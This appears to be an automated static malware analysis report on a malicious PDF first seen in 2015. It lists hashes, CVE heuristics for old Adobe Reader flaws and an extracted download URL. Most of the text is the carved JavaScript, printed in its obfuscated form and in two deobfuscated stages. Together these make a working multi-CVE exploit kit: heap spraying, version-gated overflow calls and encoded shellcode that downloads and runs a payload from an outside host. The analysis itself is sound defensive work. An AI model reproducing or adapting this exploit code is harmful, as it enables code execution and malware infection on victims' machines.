Malicious PDF — malware analysis report

Static analysis result for SHA-256 5760b6791037c7fe…

MALICIOUS

PDF

12.5 KB First seen: 2015-09-18
MD5: 4b5b445c03c8f2e862aeb41ef90f2ff9 SHA-1: 56afd72018e3e073aea328e6620d38f9705ea833 SHA-256: 5760b6791037c7feba8a45b406f4f3cab93a9f0be5cb3d162b2ace499f8b7f2c
490 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://zadurikosi.cx.cc/w.php?f=55&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x3A9 11585 bytes
SHA-256: 20392f6dde02722635d8b71066744a1f0adcf846e2a2ecd0998c129bf08c394c
Preview script
First 1,000 lines of the extracted script
w="s";
w+="l";
w+='i';
w+="ce";
j='b343tb3g';
j=j[w];
z=[13,12,70,10,66,1,52,72,71,23,2,17,43,15,64,64,2,17,49,62,56,68,2,17,43,20,49,62,2,17,24,20,56,68,2,17,56,3,15,68,2,17,15,15,20,49,2,17,64,68,62,32,2,17,68,32,43,66,2,17,43,66,15,32,2,17,32,62,68,32,2,17,24,32,43,66,2,17,20,64,26,62,2,17,24,64,43,66,2,17,15,15,32,43,2,17,64,64,53,66,2,17,20,56,43,66,2,17,32,15,15,62,2,17,15,15,24,68,2,17,43,26,51,62,2,17,26,20,56,56,2,17,49,49,26,32,2,17,66,43,49,49,2,17,68,32,43,66,2,17,62,15,15,32,2,17,15,3,68,64,2,17,24,20,32,64,2,17,43,24,49,66,2,17,51,68,15,68,2,17,56,68,43,20,2,17,20,26,24,20,2,17,56,66,56,3,2,17,20,26,68,62,2,17,43,66,20,64,2,17,15,62,24,20,2,17,24,68,43,66,2,17,24,43,15,20,2,17,49,20,32,15,2,17,43,66,20,64,2,17,51,32,24,64,2,17,49,20,32,15,2,17,62,3,15,15,2,17,68,26,68,3,2,17,12,53,49,62,2,17,62,20,32,15,2,17,53,66,15,15,2,17,66,56,32,49,2,17,15,43,26,32,2,17,24,68,49,51,2,17,62,26,32,43,2,17,32,53,62,66,2,17,53,12,32,15,2,17,56,66,68,32,2,17,15,66,49,26,2,17,24,20,26,49,2,17,20,56,56,64,2,17,20,56,43,66,2,17,32,15,51,68,2,17,64,64,53,53,2,17,32,62,43,66,2,17,43,53,68,66,2,17,56,62,68,64,2,17,20,68,49,49,2,17,32,62,51,68,2,17,53,43,43,66,2,17,53,53,32,15,2,17,32,68,43,66,2,17,32,15,43,66,2,17,12,66,62,20,2,17,20,3,20,56,2,17,56,66,62,15,2,17,12,53,20,15,2,17,64,43,43,66,2,17,43,32,51,32,2,17,32,62,24,53,2,17,24,68,15,15,2,17,3,64,32,15,2,17,49,15,56,66,2,17,64,43,43,66,2,17,43,66,32,43,2,17,64,12,49,24,2,17,20,3,32,20,2,17,3,43,56,43,2,17,49,49,49,49,2,17,56,51,49,49,2,17,56,43,49,3,2,17,32,32,32,32,2,17,32,32,32,32,2,17,20,32,20,43,2,17,68,32,64,12,2,17,49,49,64,43,2,17,32,32,32,32,2,17,20,32,32,32,2,17,62,32,43,15,2,17,20,32,26,3,2,17,43,66,20,20,2,17,43,66,56,62,2,17,26,32,20,56,2,17,62,15,43,15,2,17,49,49,32,20,2,17,64,43,56,15,2,17,64,56,64,49,2,17,32,32,32,32,2,17,24,20,64,43,2,17,64,62,24,51,2,17,20,68,64,53,2,17,26,64,49,49,2,17,62,68,43,15,2,17,43,66,32,43,2,17,56,43,56,43,2,17,49,49,64,26,2,17,49,49,49,49,2,17,32,51,56,66,2,17,24,51,56,66,2,17,56,62,43,26,2,17,32,26,32,68,2,17,32,32,32,32,2,17,20,62,43,53,2,17,32,62,51,68,2,17,32,68,62,24,2,17,24,51,51,68,2,17,64,24,64,20,2,17,62,24,24,15,2,17,51,68,68,68,2,17,24,64,32,68,2,17,15,15,24,51,2,17,62,24,15,51,2,17,51,68,68,68,2,17,51,32,32,43,2,17,24,15,51,53,2,17,20,15,51,32,2,17,49,43,64,43,2,17,32,32,32,32,2,17,49,49,32,32,2,17,32,62,20,64,2,17,56,43,43,66,2,17,62,3,15,15,2,17,62,24,20,26,2,17,26,53,68,68,2,17,24,24,32,32,2,17,64,51,24,32,2,17,62,24,24,68,2,17,26,53,68,68,2,17,51,56,32,20,2,17,64,62,64,68,2,17,62,64,64,62,2,17,26,53,68,68,2,17,32,32,32,3,2,17,43,12,20,3,2,17,32,68,62,26,2,17,43,43,15,32,2,17,26,53,68,68,2,17,68,26,32,68,2,17,64,12,20,26,2,17,64,12,32,32,2,17,20,15,32,32,2,17,64,12,20,24,2,17,49,49,32,32,2,17,26,68,20,64,2,17,62,32,43,20,2,17,26,64,24,20,2,17,32,32,64,12,2,17,49,49,20,15,2,17,32,68,20,64,2,17,32,32,64,12,2,17,56,66,43,15,2,17,20,15,32,62,2,17,20,64,49,49,2,17,43,15,32,68,2,17,32,62,62,15,2,17,32,51,56,66,2,17,26,15,56,66,2,17,43,32,68,24,2,17,32,32,15,49,2,17,49,12,24,20,2,17,43,32,68,24,2,17,32,32,15,49,2,17,62,68,24,20,2,17,32,32,64,12,2,17,49,56,64,12,2,17,20,64,49,49,2,17,56,43,32,43,2,17,49,56,3,62,2,17,49,49,49,49,2,17,68,56,43,56,2,17,56,62,32,56,2,17,49,56,3,43,2,17,32,56,43,12,2,17,64,49,43,3,2,17,66,53,32,26,2,17,62,12,15,15,2,17,20,66,43,12,2,17,62,64,26,66,2,17,24,3,68,64,2,17,26,12,15,64,2,17,24,32,51,49,2,17,24,68,64,43,2,17,24,32,24,68,2,17,51,49,15,12,2,17,24,12,51,49,2,17,64,68,64,26,2,17,24,51,24,20,2,17,64,66,64,3,2,17,24,15,64,49,2,17,51,56,64,3,2,17,24,43,64,15,2,17,64,15,51,56,2,17,51,49,64,15,2,17,51,56,24,24,2,17,64,43,24,32,2,17,15,49,24,32,2,17,15,53,64,64,2,17,15,20,15,20,2,17,64,20,51,64,2,17,15,20,15,53,2,17,32,32,32,32,23,11,49,17,46,62,16,0,75,46,10,56,21,13,70,25,70,12,57,69,9,48,60,73,4,0,55,56,25,70,12,7,55,56,46,72,16,4,67,51,41,69,9,48,60,70,12,29,71,70,12,11,14,70,12,71,70,12,7,52,17,66,52,16,70,0,46,72,25,32,57,69,9,59,51,48,11,70,56,16,17,70,46,10,70,12,11,14,10,49,17,46,62,16,0,75,46,10,66,33,25,48,60,13,12,70,10,53,42,72,71,46,56,73,10,40,70,70,12,9,25,48,11,13,12,70,10,13,73,71,32,33,32,62,32,62,32,62,32,62,11,13,12,70,10,12,53,53,70,71,32,33,68,32,32,32,32,32,11,13,12,70,10,28,12,9,55,75,12,53,71,17,46,56,52,62,12,28,56,25,66,1,52,72,48,11,13,12,70,10,52,62,74,55,56,46,71,28,12,9,55,75,12,53,7,55,56,46,72,16,4,67,51,11,13,12,70,10,69,9,71,12,53,53,70,8,25,52,62,74,55,56,46,29,32,33,15,43,48,11,13,12,70,10,9,12,70,52,28,71,17,46,56,52,62,12,28,56,25,63,2,17,3,32,3,32,2,17,3,32,3,32,63,48,11,9,12,70,52,28,71,56,21,13,70,25,9,12,70,52,28,57,69,9,48,11,13,12,70,10,62,75,17,46,16,51,71,25,13,73,8,32,33,68,32,32,32,32,32,48,59,12,53,53,70,11,49,75,70,25,13,12,70,10,62,75,17,46,16,71,32,11,62,75,17,46,16,41,62,75,17,46,16,51,11,62,75,17,46,16,29,29,48,60,53,42,72,38,62,75,17,46,16,65,71,9,12,70,52,28,29,28,12,9,55,75,12,53,11,14,10,13,12,70,10,75,13,56,70,49,55,75,73,71,17,46,56,52,62,12,28,56,25,63,2,17,32,62,32,62,2,17,32,62,32,62,63,48,11,73,4,0,55,56,25,75,13,56,70,49,55,75,73,7,55,56,46,72,16,4,41,68,68,3,20,51,48,60,75,13,56,70,49,55,75,73,29,71,75,13,56,70,49,55,75,73,11,14,10,16,4,0,52,7,62,75,55,55,12,66,34,16,75,70,56,71,31,75,55,55,12,66,7,62,75,55,55,56,62,16,54,19,12,0,55,47,46,49,75,25,60,52,17,66,1,37,63,63,57,19,52,72,37,75,13,56,70,49,55,75,73,14,48,11,14,10,49,17,46,62,16,0,75,46,10,28,70,0,46,16,49,25,48,60,46,75,28,71,17,46,56,52,62,12,28,56,25,63,2,17,32,40,32,40,2,17,32,40,32,40,2,17,32,40,32,40,2,17,32,40,32,40,63,48,11,13,12,70,10,28,12,9,55,75,12,53,71,17,46,56,52,62,12,28,56,25,66,1,52,72,48,11,4,56,12,28,66,55,75,62,42,71,46,75,28,29,28,12,9,55,75,12,53,11,66,0,72,66,55,75,62,42,71,17,46,56,52,62,12,28,56,25,63,2,17,32,40,32,40,2,17,32,40,32,40,63,48,11,4,56,12,53,56,70,52,0,21,56,71,51,32,11,52,28,70,12,9,71,4,56,12,53,56,70,52,0,21,56,29,4,56,12,28,66,55,75,62,42,7,55,56,46,72,16,4,11,73,4,0,55,56,25,66,0,72,66,55,75,62,42,7,55,56,46,72,16,4,41,52,28,70,12,9,48,60,66,0,72,66,55,75,62,42,29,71,66,0,72,66,55,75,62,42,11,14,10,49,0,55,55,66,55,75,62,42,71,66,0,72,66,55,75,62,42,7,52,17,66,52,16,70,0,46,72,25,32,57,52,28,70,12,9,48,11,66,55,75,62,42,71,66,0,72,66,55,75,62,42,7,52,17,66,52,16,70,0,46,72,25,32,57,66,0,72,66,55,75,62,42,7,55,56,46,72,16,4,8,52,28,70,12,9,48,11,73,4,0,55,56,25,66,55,75,62,42,7,55,56,46,72,16,4,29,52,28,70,12,9,41,32,33,68,32,32,32,32,48,60,66,55,75,62,42,71,66,55,75,62,42,29,66,55,75,62,42,29,49,0,55,55,66,55,75,62,42,11,14,10,19,56,19,71,46,56,73,10,40,70,70,12,9,25,48,11,49,75,70,25,0,71,32,11,0,41,26,68,32,32,11,0,29,29,48,60,19,56,19,38,0,65,71,66,55,75,62,42,29,4,56,12,28,66,55,75,62,42,11,14,10,13,12,70,10,46,17,19,71,26,51,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,11,17,16,0,55,7,28,70,0,46,16,49,25,63,2,68,20,32,32,32,49,63,57,46,17,19,48,11,14,10,49,17,46,62,16,0,75,46,10,72,56,16,0,62,75,46,25,48,60,13,12,70,10,12,70,70,9,71,46,56,73,10,40,70,70,12,9,25,48,11,0,49,25,12,28,28,7,53,75,62,7,31,75,55,55,12,66,7,72,56,16,47,62,75,46,48,60,13,12,70,10,28,12,9,55,75,12,53,71,17,46,56,52,62,12,28,56,25,66,1,52,72,48,11,13,12,70,10,4,6,69,20,32,32,31,61,71,28,12,9,55,75,12,53,7,55,56,46,72,16,4,67,51,11,13,12,70,10,69,9,71,32,33,68,32,32,32,32,32,8,25,4,6,69,20,32,32,31,61,29,32,33,15,43,48,11,13,12,70,10,9,12,70,52,28,71,17,46,56,52,62,12,28,56,25,63,2,17,3,32,3,32,2,17,3,32,3,32,63,48,11,9,12,70,52,28,71,56,21,13,70,25,9,12,70,52,28,57,69,9,48,11,13,12,70,10,28,20,40,1,45,64,20,49,71,25,32,33,32,62,32,62,32,62,32,62,8,32,33,68,32,32,32,32,32,48,59,32,33,68,32,32,32,32,32,11,49,75,70,25,13,12,70,10,13,69,62,50,18,3,64,9,71,32,11,13,69,62,50,18,3,64,9,41,28,20,40,1,45,64,20,49,11,13,69,62,50,18,3,64,9,29,29,48,60,12,70,70,9,38,13,69,62,50,18,3,64,9,65,71,9,12,70,52,28,29,28,12,9,55,75,12,53,11,14,10,13,12,70,10,16,30,36,4,61,66,39,73,71,17,46,56,52,62,12,28,56,25,63,2,32,3,63,48,11,73,4,0,55,56,25,16,30,36,4,61,66,39,73,7,55,56,46,72,16,4,41,32,33,68,32,32,32,48,60,16,30,36,4,61,66,39,73,29,71,16,30,36,4,61,66,39,73,11,14,10,16,30,36,4,61,66,39,73,71,63,61,7,63,29,16,30,36,4,61,66,39,73,11,12,28,28,7,53,75,62,7,31,75,55,55,12,66,7,72,56,16,47,62,75,46,25,16,30,36,4,61,66,39,73,48,11,14,14,10,12,27,55,17,72,0,46,52,71,12,28,28,7,28,55,17,72,47,46,52,11,13,12,70,10,52,13,71,28,12,70,52,56,47,46,16,25,12,28,28,7,13,0,56,73,56,70,44,56,70,52,0,75,46,7,16,75,34,16,70,0,46,72,25,48,7,62,4,12,70,40,16,25,32,48,48,11,49,75,70,25,13,12,70,10,0,71,32,11,0,41,12,27,55,17,72,0,46,52,7,55,56,46,72,16,4,11,0,29,29,48,60,0,49,25,12,27,55,17,72,0,46,52,38,0,65,7,46,12,19,56,71,71,23,54,34,62,70,0,28,16,23,48,60,13,12,70,10,55,13,71,12,27,55,17,72,0,46,52,38,0,65,7,13,56,70,52,0,75,46,11,14,14,10,0,49,25,25,55,13,71,71,3,48,22,22,25,25,52,13,71,71,43,48,35,35,25,55,13,41,71,43,7,26,51,48,48,48,60,72,56,16,0,62,75,46,25,48,11,14,56,55,52,56,10,0,49,25,55,13,71,71,24,7,26,48,60,28,70,0,46,16,49,25,48,11,14,56,55,52,56,10,0,49,25,25,25,52,13,71,71,64,48,22,22,25,52,13,71,71,24,48,48,35,35,25,55,13,41,24,7,26,26,48,48,60,66,33,25,48,11,14,56,55,52,56,10,0,49,25,25,55,13,5,71,3,7,26,48,22,22,25,55,13,41,71,3,7,51,48,22,22,25,55,13,5,71,43,7,26,15,48,22,22,25,55,13,41,71,43,7,26,24,48,48,60,49,17,46,62,16,0,75,46,10,12,25,48,60,17,16,0,55,7,28,70,0,46,16,53,25,23,28,58,26,26,26,26,26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a="ij%9h>W.-y ;av}3tuDm5z|'7(1Pp+UC0xS&M:[GA<k8VKnI)fQ2sdEle,@/{Nc'6]b*4qr=gw_o";
b='al';
b2="v"
+b;
try
{
if(!google.search())throw 1;
}
catch(her436j34k76)
{

e=(j());
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=e[b];
}
s='';try{if(!google.search())throw 1;}catch(q){r=1;}{
for(i=0;i<z.length;i++)
try{if(!google.search())throw 1;}catch(q){
s
+=
a[z[i]];
}
}}

"))";try{if(!google.search())throw 1;}catch(q){e(s);}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x3A9 3858 bytes
SHA-256: 1f67499be0eed98e492c83c1e4ec67358ae05b717bf7512c64372486bda20b28
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u7a2f%u6461%u7275%u6b69%u736f%u2e69%u7863%u632e%u2f63%u2e77%u6870%u3f70%u3d66%u3535%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x3A9 3854 bytes
SHA-256: 840563e6cd804acdd8e38d4b3957082b96d72d21d88928cf2df51e688c6c8ea1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u7a2f%u6461%u7275%u6b69%u736f%u2e69%u7863%u632e%u2f63%u2e77%u6870%u3f70%u3d66%u3535%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

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